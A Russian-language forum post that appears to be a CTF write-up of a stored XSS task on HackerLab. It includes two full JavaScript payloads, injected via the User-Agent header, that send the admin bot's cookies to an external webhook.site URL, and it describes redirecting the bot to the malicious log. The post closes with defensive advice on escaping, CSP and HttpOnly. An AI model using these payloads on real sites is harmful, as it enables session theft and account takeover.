Writeup Нулевая публикация // разбор решения

Amarant

Green Team
29.01.2025
38
23
t9Th3G8o.jpg


Введение
Всем привет, господа форумчане, сегодня хочу поделиться с вами write-up'ом на таск нулевая публикация на Hackerlab
Приятного чтения!

Первичная разведка
Для начала как всегда проверил что есть на сайте, какой доступен функционал, чтобы приметить потенциальные векторы атаки. На сайте представлен каталог со статьями, раздел поиска, а так же кнопка репорта и кнопка перехода на лог репорта после его отправки. Репорт тут есть внутри каждой статьи, так как статью нельзя прочитать без подписки, о чём она нам бездушно заявляет при попытке зайти на неё

bRIptus1.jpg

qnqnrTuv.jpg

NAatY16R.jpg


Поиск вектора атаки
Payload в поиск не дал никаких результатов, после многих попыток. После него я переключился на лог репорта, перехватил запрос и начал пробовать подменить user agent для проведения потенциальной атаки, там и был найден XSS
3UwA25pD.jpg

1NT9WZsw.jpg

Вектор атаки найден, начинаем пробовать добыть флаг

Посыпаем голову пеплом...
Первоначально я пытался сделать так, чтобы на мой webhook пришёл HTML код страницы со статьёй, на которую должно перекинуть админа, когда он прочитает мой лог, но это не дало никакого результатов, поэтому этот момент я пропущу

Следующим вариантом стало получить кук админа, начал я с вот такого payload
JavaScript:
<script>fetch('https://webhook.site/9ef4ee7d-f7ff-460a-8e57-89bb2bdc95b9?c='+encodeURIComponent(document.cookie))</script>

Пришёл к тому, что когда я захожу на сгенерированный лог, мне приходил мой кук, но админ всё не читал его, будь он неладен. Получив подсказку от другого пользователя в чате хакералаба я пришёл к выводу, что мне нужно заставить админа перейти на этот лог и тогда я смогу получить его кук. Тогда я заменил в запросе адрес "нерабочей" статьи на адрес вредоносного лога
bTE11cri.jpg

Но куки всё так же мне не пришёл. После этого я решил попробовать изменить свой скрипт, чтобы попробовать другим подходом выполнить эти же действия и получилось у меня вот с таким вариантом
JavaScript:
<script>document.location='https://webhook.site/9ef4ee7d-f7ff-460a-8e57-89bb2bdc95b9?c='+encodeURIComponent(document.cookie)</script>

Внедряем скрипт в поле user agent
MPLuK4Q9.jpg


Затем делаем новый запрос, в котором адрес статьи меняем на сгенерированный прошлом запросе адрес лога репорта
SpQ1Atjv.jpg


Проверяем webhook и вуаля! Вот и наш флаг
T98w8NPy.jpg


Итоги
В чём была уязвимость?

Уязвимость классическая - межсайтовый скриптнг (XSS) типа Stored (хранимый). Возникала она из-за того, что сервер без какой-либо проверки или экранирования сохранял пользовательские данные (заголовок User-Agent) в файл лога, а затем отображал его как есть. Это позволило внедрить JavaScript-код, который выполнялся в браузере бота-администратора.

Как защититься?
Конечно же не доверять данным, которые отправляются пользователем и экранировать их. Для защиты от такой атаки нужна правильно настроенная CSP политика, которая будет блокировать проведение подобных атак, а так же желателен установленный заголовок httponly, чтобы даже в случае успешно проведенной атаки нельзя было получить доступ к сессии админа. А так же в данном случае нужно, чтобы происходила проверка url, который есть в логе репорта, на его валидность, чтобы юзер не мог подменить его на нужный ему url

Вывод:
Таск наглядно показал, как цепочка из небольших недоработок неэкранированного ввода могла привести к полной компрометации аккаунта привилегированного пользователя

Почему админ всегда пьет кофе, когда проверяет репорты? Потому что иначе он засыпает от скуки, пока крадут его куки ☕
Готов ответить на ваши вопросы и поучаствовать в обсуждении в комментариях, господа формучане, спасибо за прочтение!
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab